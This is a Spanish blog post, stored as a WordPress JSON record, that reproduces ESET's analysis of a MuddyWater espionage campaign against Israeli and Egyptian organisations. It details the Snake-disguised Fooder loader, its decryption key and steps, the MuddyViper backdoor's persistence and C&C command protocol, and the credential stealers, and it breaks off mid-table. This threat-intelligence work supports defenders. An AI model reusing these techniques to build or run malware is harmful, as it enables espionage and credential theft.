{"id":454,"date":"2025-12-12T00:56:57","date_gmt":"2025-12-12T00:56:57","guid":{"rendered":"https:\/\/aldomonges.com\/aldomonges\/?p=454"},"modified":"2025-12-12T00:56:57","modified_gmt":"2025-12-12T00:56:57","slug":"muddywater-ataca-infraestructuras-criticas-disfrazandose-del-juego-snake","status":"publish","type":"post","link":"https:\/\/aldomonges.com\/aldomonges\/?p=454","title":{"rendered":"MuddyWater ataca infraestructuras cr\u00edticas disfraz\u00e1ndose del juego Snake"},"content":{"rendered":"<p>Los investigadores de ESET han identificado nuevas actividades de MuddyWater dirigidas principalmente a organizaciones en Israel, con un objetivo confirmado en Egipto. MuddyWater, tambi\u00e9n conocido como Mango Sandstorm o TA450, es un grupo de ciberespionaje alineado con Ir\u00e1n conocido por su persistente ataque a sectores gubernamentales y de infraestructuras cr\u00edticas, que a menudo utiliza malware personalizado y herramientas disponibles p\u00fablicamente. En esta campa\u00f1a, los atacantes desplegaron un conjunto de herramientas personalizadas no documentadas previamente con el objetivo de mejorar la evasi\u00f3n y persistencia de las defensas. Entre estas herramientas se encuentra un loader Fooder personalizado dise\u00f1ado para ejecutar MuddyViper, un backdoor C\/C++. Varias versiones de Fooder se hacen pasar por el cl\u00e1sico juego Snake, y su l\u00f3gica interna incluye un delay personalizado inspirado en la mec\u00e1nica del juego, combinado con el uso frecuente de llamadas a la API\u00a0Sleep. Estas funciones est\u00e1n dise\u00f1adas para introducir retrasos en la ejecuci\u00f3n y dificultar el an\u00e1lisis din\u00e1mico automatizado. MuddyViper permite a los atacantes recopilar informaci\u00f3n del sistema, ejecutar archivos y comandos shell, transferir archivos y exfiltrar credenciales de Windows y datos del navegador. La campa\u00f1a tambi\u00e9n emplea ladrones de credenciales (CE-Notes y LP-Notes) y herramientas de t\u00fanel inverso como go-socks5, recurrente en las operaciones de MuddyWater.<\/p>\n<p>Aunque este es nuestra primera publicaci\u00f3n sobre MuddyWater, los investigadores de ESET han estado siguiendo al grupo durante varios a\u00f1os y han documentado sus actividades en m\u00faltiples\u00a0<a href=\"https:\/\/web-assets.esetstatic.com\/wls\/en\/papers\/threat-reports\/eset-apt-activity-report-q4-2024-q1-2025.pdf\" target=\"_blank\" rel=\"noopener\">APT Activity Reports<\/a>. A diferencia de las campa\u00f1as anteriores de MuddyWater, que sol\u00edan ser altamente visibles y f\u00e1ciles de detectar, la que analizamos en esta entrada muestra un enfoque m\u00e1s dirigido, sofisticado y sigiloso.<\/p>\n<blockquote>\n<div><strong>Puntos clave de esta publicaci\u00f3n:<\/strong><\/div>\n<ul>\n<li>Los desarrolladores de MuddyWater adoptaron CNG, la API criptogr\u00e1fica de nueva generaci\u00f3n de Windows, algo inusual entre los grupos alineados con Ir\u00e1n y un tanto at\u00edpico en el panorama general de las amenazas<\/li>\n<li>El grupo tambi\u00e9n emple\u00f3 t\u00e9cnicas avanzadas para desplegar MuddyViper, un nuevo backdoor, utilizando un loader denominado Fooder, que lo carga de forma reflexiva en memoria para su ejecuci\u00f3n.<\/li>\n<li>Presentamos un an\u00e1lisis t\u00e9cnico de las herramientas utilizadas en esta campa\u00f1a, incluyendo el backdoor MuddyViper, el loader Fooder, los credential stealers CE-Notes y LP-Notes, el browser data stealer Blub y los reverse tunnels implementados con go-socks5.<\/li>\n<li>Durante esta campa\u00f1a, los operadores evitaron deliberadamente las sesiones interactivas manuales en shell (\u2018hands-on-keyboard\u2019), una t\u00e9cnica tradicionalmente ruidosa caracterizada por comandos propensos a errores<\/li>\n<\/ul>\n<\/blockquote>\n<h2 id=\"vision-general-del-grupo-muddywater\">Visi\u00f3n general del grupo MuddyWater<\/h2>\n<p>MuddyWater es un grupo de ciberespionaje activo desde al menos 2017, cuyos objetivos principales son entidades en Oriente Medio y Norteam\u00e9rica. Es uno de los grupos APT alineados con Ir\u00e1n m\u00e1s activos, seg\u00fan el seguimiento de los investigadores de ESET, y se le atribuyen\u00a0<a href=\"https:\/\/attack.mitre.org\/groups\/G0069\/\" target=\"_blank\" rel=\"noopener\">v\u00ednculos con el Ministerio de Inteligencia y Seguridad Nacional de Ir\u00e1n<\/a><\/p>\n<p>El grupo fue presentado por primera vez p\u00fablicamente como MuddyWater por\u00a0<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-muddying-the-water-targeted-attacks-in-the-middle-east\/\" target=\"_blank\" rel=\"noopener\">Unit 42<\/a>\u00a0en 2017. La descripci\u00f3n de sus actividades coincide con el perfil elaborado por ESET: un enfoque en el ciberespionaje, el uso de documentos maliciosos como archivos adjuntos dise\u00f1ados para atraer a los usuarios a habilitar macros y eludir controles de seguridad, y un objetivo principal en entidades ubicadas en Oriente Medio<\/p>\n<p>Entre las operaciones m\u00e1s destacadas del pasado se incluyen la\u00a0<a href=\"https:\/\/www.clearskysec.com\/wp-content\/uploads\/2020\/10\/Operation-Quicksand.pdf\" target=\"_blank\" rel=\"noopener\">Operaci\u00f3n Quicksand\u00a0<\/a>(2020), una campa\u00f1a de ciberespionaje dirigida a entidades gubernamentales y organizaciones de telecomunicaciones israel\u00edes, que ejemplifica la evoluci\u00f3n del grupo desde t\u00e1cticas b\u00e1sicas de phishing hacia operaciones m\u00e1s avanzadas y multifase; y una c<a href=\"https:\/\/www.clearskysec.com\/muddywater-targets-kurdish-groups-turkish-orgs\/\" target=\"_blank\" rel=\"noopener\">ampa\u00f1a dirigida a grupos y organizaciones pol\u00edticas en Turqu\u00eda<\/a>, que demuestra el enfoque geopol\u00edtico del grupo, su capacidad para adaptar t\u00e1cticas de ingenier\u00eda social a contextos locales y su dependencia de malware modular y de una infraestructura C&amp;C flexible<\/p>\n<p>Adem\u00e1s de su alta frecuencia de actividad, las operaciones de MuddyWater suelen ser ruidosas. El grupo es conocido por sus ataques persistentes contra los sectores gubernamental, militar, de telecomunicaciones y de infraestructuras cr\u00edticas, utilizando habitualmente malware personalizado y herramientas de acceso p\u00fablico para obtener acceso, mantener la persistencia y exfiltrar datos confidenciales. Adem\u00e1s de atacar a su principal adversario, Israel, el grupo parece centrar sus objetivos en pa\u00edses que mantienen o intentan estrechar lazos diplom\u00e1ticos con Ir\u00e1n.<\/p>\n<p>ESET ha documentado m\u00faltiples campa\u00f1as atribuidas a MuddyWater que evidencian la evoluci\u00f3n del conjunto de herramientas del grupo y su enfoque operativo cambiante. Mientras que las primeras operaciones se caracterizaban por objetivos amplios y t\u00e9cnicas relativamente poco sofisticadas, las campa\u00f1as m\u00e1s recientes muestran una mayor sofisticaci\u00f3n t\u00e9cnica y precisi\u00f3n en la selecci\u00f3n de objetivos<\/p>\n<p>En marzo y abril de 2023, MuddyWater atac\u00f3 a una<a href=\"https:\/\/web-assets.esetstatic.com\/wls\/en\/papers\/threat-reports\/eset-apt-activity-report-q2-2023-q3-2023.pdf\" target=\"_blank\" rel=\"noopener\">\u00a0v\u00edctima no identificada en Arabia Saud\u00ed<\/a>\u00a0desplegando un script por lotes que descargaba un backdoor implementado en PowerShell, utilizado para recuperar y ejecutar cargas \u00fatiles adicionales y, posteriormente, borrar del disco la carga inicial.<\/p>\n<p>El grupo llev\u00f3 a cabo una<a href=\"https:\/\/web-assets.esetstatic.com\/wls\/en\/papers\/threat-reports\/eset-apt-activity-report-q4-2024-q1-2025.pdf\" target=\"_blank\" rel=\"noopener\">\u00a0campa\u00f1a en enero y febrero de 2025<\/a>, caracterizada por un solapamiento operativo con Lyceum (un subgrupo de OilRig), analizado en detalle en esta publicaci\u00f3n. Este solapamiento sugiere una evoluci\u00f3n en el modus operandi de MuddyWater y posibles v\u00ednculos operativos entre ambos grupos.<\/p>\n<p>Las herramientas personalizadas del grupo documentadas p\u00fablicamente incluyen, por ejemplo, los backdoors\u00a0<a href=\"https:\/\/www.gov.il\/BlobFolder\/reports\/maddy_water_2024\/en\/ALERT_CERT_IL_W_1858.pdf\" target=\"_blank\" rel=\"noopener\">Bugsleep<\/a>,\u00a0<a href=\"https:\/\/www.gov.il\/BlobFolder\/reports\/maddy_water_2024\/en\/ALERT_CERT_IL_W_1858.pdf\" target=\"_blank\" rel=\"noopener\">Blackout<\/a>,\u00a0<a href=\"https:\/\/www.cisa.gov\/news-events\/cybersecurity-advisories\/aa22-055a\" target=\"_blank\" rel=\"noopener\">Small Sieve, Mori y POWERSTATS<\/a>, as\u00ed como variantes personalizadas compiladas de\u00a0<a href=\"https:\/\/www.security.com\/threat-intelligence\/seedworm-espionage-group\" target=\"_blank\" rel=\"noopener\">herramientas de c\u00f3digo abierto<\/a>\u00a0como\u00a0<a href=\"https:\/\/github.com\/AlessandroZ\/LaZagne\" target=\"_blank\" rel=\"noopener\">LaZagne<\/a>\u00a0y\u00a0<a href=\"https:\/\/github.com\/byt3bl33d3r\/CrackMapExec\" target=\"_blank\" rel=\"noopener\">CrackMapExec<\/a>. Por lo general, las campa\u00f1as de MuddyWater no suelen incorporar nuevas herramientas, malware o t\u00e9cnicas innovadoras; en cambio, destacan principalmente por la naturaleza de sus objetivos.<\/p>\n<p>Aunque en un principio MuddyWater se enfocaba exclusivamente en el ciberespionaje, su cooperaci\u00f3n con Lyceum lo llev\u00f3 a atacar el sector manufacturero mediante campa\u00f1as de spearphishing. La operaci\u00f3n fue altamente visible y tuvo un impacto operativo limitado.<\/p>\n<p>La campa\u00f1a descrita en esta publicaci\u00f3n representa un avance significativo en su arsenal y en la sofisticaci\u00f3n t\u00e9cnica de sus operaciones<\/p>\n<h3>Victimolog\u00eda<\/h3>\n<p>Como se ha mencionado anteriormente, durante esta campa\u00f1a MuddyWater se dirigi\u00f3 principalmente a organizaciones en Israel, pero tambi\u00e9n a una en Egipto. La Tabla 1 muestra la distribuci\u00f3n de v\u00edctimas por pa\u00eds y sector. La campa\u00f1a comenz\u00f3 el 30 de septiembre de 2024 y concluy\u00f3 el 18 de marzo de 2025.<\/p>\n<p><a name=\"_Ref194241985\"><\/a><em>Tabla 1. V\u00edctimas por pa\u00eds y vertical<\/em><\/p>\n<p>&nbsp;<\/p>\n<div class=\"table-container\">\n<table border=\"1\" width=\"642\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr>\n<td width=\"190\"><strong>Country<\/strong><\/td>\n<td width=\"453\"><strong>Vertical<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"190\"><strong>Egypt<\/strong><\/td>\n<td width=\"453\">Technology<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"17\" width=\"190\"><strong>Israel<\/strong><\/td>\n<td width=\"453\">Engineering #1<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Engineering #2<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Engineering #3<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Local Government #1<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Local Government #2<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Manufacturing<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Technology<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Transportation<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Utilities<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">University #1<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">University #2<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">University #3<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Unidentified #1<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Unidentified #2<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Unidentified #3<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Unidentified #4<\/td>\n<\/tr>\n<tr>\n<td width=\"453\">Unidentified #5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p>&nbsp;<\/p>\n<p>Un hecho relevante sobre la v\u00edctima del sector de servicios p\u00fablicos es que tambi\u00e9n fue comprometida por Lyceum el 11 de febrero de 2025.<\/p>\n<h4>Solapamiento y cooperaci\u00f3n con Lyceum<\/h4>\n<p>A principios de 2025, ESET Research identific\u00f3 una superposici\u00f3n operativa entre MuddyWater y\u00a0<a href=\"https:\/\/www.welivesecurity.com\/en\/eset-research\/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes\/\" target=\"_blank\" rel=\"noopener\">Lyceum, un subgrupo de OilRig<\/a>, un actor de ciberespionaje alineado con Ir\u00e1n tambi\u00e9n conocido como HEXANE o Storm-0133. OilRig est\u00e1 activo al menos desde 2014 y se cree que t<a href=\"https:\/\/web-assets.esetstatic.com\/wls\/en\/papers\/threat-reports\/eset_threat_report_t32021.pdf\" target=\"_blank\" rel=\"noopener\">iene su sede en Ir\u00e1n<\/a>. Entre las herramientas atribuidas a Lyceum se incluyen DanBot, Shark, Milan, Marlin, Solar, Mango, OilForceGTX y\u00a0<a href=\"https:\/\/www.welivesecurity.com\/en\/eset-research\/oilrig-persistent-attacks-cloud-service-powered-downloaders\/\" target=\"_blank\" rel=\"noopener\">diversos downloaders\u00a0<\/a>que utilizan servicios leg\u00edtimos en la nube para la comunicaci\u00f3n C&amp;C. Lyceum ha tenido como objetivo varias organizaciones israel\u00edes, incluidas entidades gubernamentales nacionales y locales, as\u00ed como organizaciones del sector sanitario.<\/p>\n<p>Durante la campa\u00f1a que nos ocupa, MuddyWater llev\u00f3 a cabo una subcampa\u00f1a en colaboraci\u00f3n con OilRig en enero y febrero de 2025. MuddyWater inici\u00f3 el acceso mediante un correo electr\u00f3nico de spearphishing que conten\u00eda un enlace a un instalador leg\u00edtimo del software de monitorizaci\u00f3n y gesti\u00f3n remota (RMM)\u00a0<a href=\"https:\/\/syncromsp.com\/\" target=\"_blank\" rel=\"noopener\">Syncro<\/a>. Tras el ataque inicial, los atacantes instalaron una herramienta RMM adicional,\u00a0<a href=\"https:\/\/www.pdq.com\/\" target=\"_blank\" rel=\"noopener\">PDQ<\/a>, y desplegaron un loader de Mimikatz personalizado, disfrazado como archivos de certificado con extensi\u00f3n .txt. Seg\u00fan la actividad observada, Lyceum probablemente aprovech\u00f3 las credenciales obtenidas para acceder y asumir el control de las operaciones de la organizaci\u00f3n del sector manufacturero objetivo en Israel.<\/p>\n<p>Esta cooperaci\u00f3n sugiere que MuddyWater podr\u00eda estar desempe\u00f1ando el rol de initial access broker para otros grupos alineados con Ir\u00e1n<\/p>\n<h3>Atribuci\u00f3n<\/h3>\n<p>La victimolog\u00eda, las TTP y las herramientas observadas en esta campa\u00f1a coinciden con capacidades y herramientas previamente documentadas y atribuidas a MuddyWater. Esta evaluaci\u00f3n se basa en el m\u00e9todo de acceso inicial y la posterior entrega de herramientas maliciosas, principalmente mediante correos electr\u00f3nicos de spearphishing que incluyen enlaces para descargar software RMM leg\u00edtimo.<\/p>\n<h4>TTPs<\/h4>\n<p>Los operadores de MuddyWater contin\u00faan utilizando backdoors basados en scripts desarrollados en PowerShell y Go. Sus objetivos siguen siendo los sectores de telecomunicaciones, gubernamental y petr\u00f3leo y energ\u00eda.<\/p>\n<p>El acceso inicial se logra habitualmente mediante correos electr\u00f3nicos de spearphishing que contienen archivos PDF con enlaces a instaladores de software RMM alojados en servicios gratuitos de intercambio de archivos como OneHub, Egnyte o Mega. Estos enlaces conducen a la descarga de herramientas RMM como Atera, Level, PDQ y SimpleHelp.<\/p>\n<p>Entre las herramientas desplegadas por los operadores de MuddyWater se encuentra tambi\u00e9n el backdoor VAX-One, denominado as\u00ed por los productos leg\u00edtimos que suplanta: Veeam, AnyDesk, Xerox y el servicio de actualizaci\u00f3n OneDrive.<\/p>\n<p>El uso continuado de este conocido playbook hace que su actividad sea relativamente f\u00e1cil de detectar y bloquear.<\/p>\n<h4>Superposici\u00f3n de herramientas<\/h4>\n<p>Identificamos solapamientos de c\u00f3digo entre varias de las nuevas herramientas documentadas y aquellas que previamente atribu\u00edamos a MuddyWater:<\/p>\n<ul>\n<li>LP-Notes, un nuevo credential stealer, presenta el mismo dise\u00f1o que CE-Notes, un browser data stealer que anteriormente asociamos a MuddyWater. Durante esta campa\u00f1a, tambi\u00e9n observamos un loader de Mimikatz, que comparte el mismo dise\u00f1o y m\u00e9todos de ofuscaci\u00f3n que CE-Notes<\/li>\n<li>Detectamos varias variantes nuevas de los reverse tunnels personalizados go-socks5 de MuddyWater, utilizados por el grupo a lo\u00a0<a href=\"https:\/\/web-assets.esetstatic.com\/wls\/en\/papers\/threat-reports\/eset-apt-activity-report-q4-2024-q1-2025.pdf\" target=\"_blank\" rel=\"noopener\">largo de 2024 y 2025.<\/a><\/li>\n<li>En dos casos, encontramos los reverse tunnels go-socks5 incrustados en un nuevo loader de MuddyWater, denominado internamente Fooder. En otra docena de casos, este loader se emple\u00f3 para desplegar la nueva backdoor de MuddyWater, MuddyViper.<\/li>\n<li>Curiosamente, MuddyViper y las variantes de los loaders CE-Notes\/LP-Notes\/Mimikatz utilizan la<a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/seccng\/cng-portal\" target=\"_blank\" rel=\"noopener\">\u00a0<\/a><a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/seccng\/cng-portal\" target=\"_blank\" rel=\"noopener\">API CNG\u00a0<\/a>(Cryptography Next Generation) para cifrar y descifrar datos, algo que, hasta donde sabemos, es exclusivo de los grupos alineados con Ir\u00e1n. Otro rasgo com\u00fan entre estas herramientas es que intentan robar credenciales de usuario mostrando un falso cuadro de di\u00e1logo de seguridad de Windows.<\/li>\n<\/ul>\n<h2 id=\"conjunto-de-herramientas\">Conjunto de herramientas<\/h2>\n<p>En este blogpost documentamos herramientas personalizadas, desconocidas hasta ahora, utilizadas por MuddyWater:<\/p>\n<ul>\n<li>Loader Fooder \u2013 un loader recientemente identificado que carga el backdoor MuddyViper en memoria y lo ejecuta. Varias versiones de Fooder se hacen pasar por el cl\u00e1sico juego Snake, de ah\u00ed la denominaci\u00f3n MuddyViper. Otra caracter\u00edstica notable de Fooder es su uso frecuente de una funci\u00f3n de retardo personalizada que implementa la l\u00f3gica central del juego Snake, combinada con llamadas a la APISleep. Estas funciones est\u00e1n dise\u00f1adas para introducir retrasos en la ejecuci\u00f3n y dificultar el an\u00e1lisis din\u00e1mico automatizado.<\/li>\n<li>Backdoor MuddyViper \u2013 un backdoor C\/C++ previamente no documentado que permite a los atacantes recopilar informaci\u00f3n del sistema, descargar y cargar archivos, ejecutar archivos y comandos shell, y robar credenciales de Windows y datos del navegador.<\/li>\n<\/ul>\n<p>El resto del conjunto de herramientas documentado en este blogpost incluye:<\/p>\n<ul>\n<li>CE-Notes, un browser data stealer,<\/li>\n<li>LP-Notes, un credential stealer,<\/li>\n<li>Blub, otro browser data stelaer, y<\/li>\n<li>varios reverse tunnels implementados con go-socks5.<\/li>\n<\/ul>\n<h3>Loader Fooder<\/h3>\n<p>Fooder es un loader C\/C++ de 64 bits dise\u00f1ado para desencriptar y luego cargar reflexivamente la carga \u00fatil incrustada (como se ilustra en la Figura 1), siendo MuddyViper la carga \u00fatil observada con mayor frecuencia.<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 1. Relationships between Fooder and its launcher and payload\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/11-25\/muddywater\/figure-1.png\" alt=\"Figure 1. Relationships between Fooder and its launcher and payload\" width=\"\" height=\"\" data-fancybox=\"article\" data-caption=\"Figura 1\" \/><figcaption><em>Figura 1<\/em><\/figcaption><\/figure>\n<figure class=\"image\"><figcaption><em>Relaciones entre Fooder y su lanzador y carga \u00fatil<\/em><\/figcaption><\/figure>\n<p>Fooder parece ser el nombre interno de esta herramienta, bas\u00e1ndonos en sus rutas PDB:<\/p>\n<ul>\n<li>C:\\Users\\win\\Desktop\\Fooder\\Debug\\Launcher.pdb<\/li>\n<li>C:\\Users\\pc\\Desktop\\main\\My_Project\\Fooder\\x64\\Debug\\Launcher.pdb<\/li>\n<\/ul>\n<p>Aunque solo hemos capturado una muestra, creemos que Fooder es ejecutado por un launcher simple escrita en C. No implementa ofuscaci\u00f3n de cadenas, muestra registro verboso en la consola y la ruta PDB se deja intacta:<\/p>\n<p>C:\\Users\\pc\\source\\repos\\ConsoleApplication7\\x64\\Release\\ConsoleApplication7.pdb<\/p>\n<p>Hemos observado una instancia (SHA-1:\u00a076632910CF67697BF5D7285FAE38BFCF438EC082) del componente que ejecuta Fooder. Desplegado bajo el nombre\u00a0%USERPROFILE%\\Downloads\\OsUpdater.exe, el launcher espera un ID de proceso como argumento de l\u00ednea de comandos. Una vez ejecutado, intenta duplicar el token del proceso especificado mediante la API DuplicateTokenEx y, a continuaci\u00f3n, utiliza\u00a0CreateProcessAsUserA\u00a0para ejecutar Fooder.<\/p>\n<p>Una vez ejecutado, Fooder descifra el payload incrustado siguiendo estos pasos:<\/p>\n<ul>\n<li>El argumento de la l\u00ednea de comandos(6) se a\u00f1ade a cada byte de una clave hardcoded, que produce la clave de descifrado AES, compartida entre todas las muestras,\u00a06969697820511281801712341067111416133321394945138510872296106446.<\/li>\n<li>Se resta un valor codificado(5) de cada byte del payload cifrado.<\/li>\n<li>Por \u00faltimo, el payload se descifra utilizando la API WinCrypt y la clave AES.<\/li>\n<\/ul>\n<p>A continuaci\u00f3n, Fooder carga el payload directamente en memoria mediante t\u00e9cnicas reflexivas, lo que permite su ejecuci\u00f3n sin depender de llamadas est\u00e1ndar del sistema ni escribir en disco.<\/p>\n<p>Una vez lanzado, Fooder se ha utilizado para distribuir no solo MuddyViper, sino tambi\u00e9n\u00a0<a href=\"https:\/\/github.com\/moonD4rk\/HackBrowserData\" target=\"_blank\" rel=\"noopener\">HackBrowserData<\/a>, una utilidad de c\u00f3digo abierto capaz de descifrar y exportar informaci\u00f3n sensible del navegador, como credenciales y cookies. Fooder tambi\u00e9n facilita el despliegue de variantes de go-socks5, binarios compilados en Go que funcionan como reverse tunnels, permitiendo a los atacantes eludir cortafuegos y mecanismos de traducci\u00f3n de direcciones de red (NAT). Cabe destacar que MuddyWater ya hab\u00eda utilizado go-socks5 con anterioridad, independientemente de Fooder, lo que indica que sigue confiando en esta herramienta para la comunicaci\u00f3n sigilosa en red y la exfiltraci\u00f3n de datos.<\/p>\n<p>N\u00f3tese que varias versiones de Fooder se hacen pasar por el juego Snake &#8211; v\u00e9anse las cadenas y los mutexes resaltados en la Figura 2 &#8211; su payload m\u00e1s frecuentemente incrustado.<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 2. Multiple Fooder instances masquerade as the Snake game\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/11-25\/muddywater\/figure-2.png\" alt=\"Figure 2. Multiple Fooder instances masquerade as the Snake game\" width=\"\" height=\"\" data-fancybox=\"article\" data-caption=\"Figura 2. Varias instancias de Fooder se hacen pasar por el juego Snake\" \/><figcaption><em>Figura 2. Varias instancias de Fooder se hacen pasar por el juego Snake<\/em><\/figcaption><\/figure>\n<p>Otra caracter\u00edstica notable de Fooder es su uso frecuente de una funci\u00f3n de retardo personalizada que implementa la l\u00f3gica central del juego<a href=\"https:\/\/en.wikipedia.org\/wiki\/Snake_(video_game_genre)\" target=\"_blank\" rel=\"noopener\">\u00a0Snake<\/a>, en el que el jugador maniobra el extremo de una l\u00ednea creciente, a menudo tematizada como una serpiente, para evitar obst\u00e1culos y recoger objetos, junto con llamadas a la APISleep. El retraso en la ejecuci\u00f3n se consigue imitando la funci\u00f3n de retardo basada en bucles, similar a la mec\u00e1nica del juego Snake, donde cada movimiento est\u00e1 controlado por un bucle que espera un breve intervalo antes de actualizar el estado del juego. Este bucle introduce retrasos en la ejecuci\u00f3n que ralentizan el comportamiento del malware, ayud\u00e1ndole a evadir herramientas que monitorizan actividad maliciosa r\u00e1pida. La Figura 3 muestra los retrasos y el banner de bienvenida del juego Snake que se presenta al usuario en tiempo de ejecuci\u00f3n.<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 3. Various calls to delay execution are dispersed throughout Fooder\u2019s code\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/11-25\/muddywater\/figure-3.png\" alt=\"Figure 3. Various calls to delay execution are dispersed throughout Fooder\u2019s code\" width=\"\" height=\"\" data-fancybox=\"article\" \/><figcaption><em>Figura 3. Varias llamadas para retrasar la ejecuci\u00f3n est\u00e1n dispersas por el c\u00f3digo de Fooder<\/em><\/figcaption><\/figure>\n<p>Fooder no tiene ninguna capacidad de persistencia incorporada. Sin embargo, en los casos en que el payload final de Fooder es el backdoor MuddyViper, este puede configurar la persistencia para el loader mediante una tarea programada o a trav\u00e9s de la carpeta Startup.<\/p>\n<h3>Backdoor MuddyViper<\/h3>\n<p>MuddyViper, un backdoor previamente no documentado escrito en C y C++, permite obtener acceso encubierto y control sobre sistemas comprometidos. Hemos observado MuddyViper \u00fanicamente en memoria, cargado por Fooder, lo que podr\u00eda explicar la ausencia de ofuscaci\u00f3n y cifrado de cadenas. Como es t\u00edpico en MuddyWater, MuddyViper env\u00eda mensajes de estado extremadamente verbosos y frecuentes a su servidor C&amp;C durante su ejecuci\u00f3n, como los siguientes:<\/p>\n<ul>\n<li>[+] Persist: &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; Hi, I am alive &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/li>\n<li>[+] Persist: &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; Hi, First time &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/li>\n<li>[-] Persist: failed create task !!!!<\/li>\n<\/ul>\n<p>El backdoor tambi\u00e9n mantiene una lista extensa de m\u00e1s de 150 nombres de procesos y detalles sobre los respectivos productos para enviar informes detallados sobre las herramientas de seguridad detectadas en el entorno comprometido, aunque la inclusi\u00f3n de estos detalles podr\u00eda haberse implementado f\u00e1cilmente en el lado del servidor:<\/p>\n<ul>\n<li>[&gt;] Process: aciseagent.exe ~~&gt; (Cisco Umbrella Roaming Security) &#8211;&gt; (Security DNS) found!<\/li>\n<li>[&gt;] Process: acnamagent.exe ~~&gt; (Absolute Persistence) &#8211;&gt; (Asset Management)\u00a0found!<\/li>\n<li>[&gt;] Process: acnamlogonagent.exe ~~&gt; (Absolute Persistence) &#8211;&gt; (Asset Management)\u00a0found!<\/li>\n<\/ul>\n<p>Este comportamiento genera un tr\u00e1fico de red considerable.<\/p>\n<p>MuddyViper tiene dos m\u00e9todos para establecer la persistencia:<\/p>\n<ul>\n<li>Su directorio de instalaci\u00f3n se puede configurar como una carpeta de inicio de Windows, mediante el establecimiento de los siguientes valores de registro en%APPDATALOCAL%\\Microsoft\\Windows\\PPBCompatCache\\ManagerCache\u25cb\u00a0HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup\n<p>\u25cb\u00a0HKCUSoftware\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup<\/li>\n<li>Una tarea programada llamada\u00a0ManageOnDriveUpdater\u00a0puede lanzar MuddyViper desde la ruta en cada inicio del sistema.<\/li>\n<\/ul>\n<p>Una tarea programada llamada ManageOnDriveUpdater puede ejecutar MuddyViper desde esa ruta en cada inicio del sistema. MuddyViper soporta 20 comandos backdoor (ver Tabla 2 para detalles), incluyendo notablemente la capacidad de abrir y operar reverse shells, descargar, subir y ejecutar archivos, reportar las herramientas de seguridad en ejecuci\u00f3n, robar credenciales de usuario y datos de una variedad de navegadores, configurar su propia persistencia y desinstalarse a s\u00ed mismo.<\/p>\n<p><em>Tabla 2. Comandos del backdoor MuddyViper<\/em><\/p>\n<p>&nbsp;<\/p>\n<div class=\"table-container\">\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr>\n<td><strong>ID<\/strong><\/td>\n<td><strong>Arguments<\/strong><\/td>\n<td><strong>Action<\/strong><\/td>\n<td><strong>Response<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>200<\/td>\n<td>N\/A<\/td>\n<td>N\/A<\/td>\n<td>0, via the\u00a0GET \/adad\u00a0or\u00a0GET \/aq36\u00a0request, to obtain a backdoor command.<\/td>\n<\/tr>\n<tr>\n<td>207<\/td>\n<td>N\/A<\/td>\n<td>Decrypts the embedded\u00a0<a href=\"https:\/\/github.com\/moonD4rk\/HackBrowserData\">HackBrowserData<\/a>\u00a0tool and reflectively loads it in a new thread. This open-source tool can steal credentials, history, and other information from web browsers.<br \/>\nMuddyViper then compresses the collected data (into a file named\u00a0CacheDump.zip) and uploads it to the C&amp;C server.<\/td>\n<td>Collected browser data, via the\u00a0GET \/mq65\u00a0request.<br \/>\nIn case of an error, a custom status message is sent instead.<\/td>\n<\/tr>\n<tr>\n<td>300<\/td>\n<td>&lt;command_line&gt;<\/td>\n<td rowspan=\"3\">Launches a reverse shell using:<\/p>\n<div>\u00a0\u2022 the provided command line (command ID\u00a0300)<\/div>\n<div>\u00a0\u2022 \u00a0C:\\windows\\system32\\cmd.exe\u00a0(command ID\u00a0301)<\/div>\n<div>\u00a0\u2022 \u00a0C:\\windows\\system32\\WindowsPo<wbr \/>werShell\\v1.0\\Powershell.exe\u00a0(command ID\u00a0302)<\/div>\n<div>Then, in a loop, uploads the process output to the C&amp;C server and interprets the server response (see command IDs\u00a0350-352) until interrupted.<\/div>\n<\/td>\n<td rowspan=\"6\">Process output, via the\u00a0GET \/oi32\u00a0request.<br \/>\nIn case of an error, a custom status message is sent instead.<\/td>\n<\/tr>\n<tr>\n<td>301<\/td>\n<td>N\/A<\/td>\n<\/tr>\n<tr>\n<td>302<\/td>\n<td>N\/A<\/td>\n<\/tr>\n<tr>\n<td>350<\/td>\n<td>N\/A<\/td>\n<td>Must follow command IDs\u00a0300-302. Sleeps for a preconfigured amount of time \u2013 for the reverse shell loop, the default is one 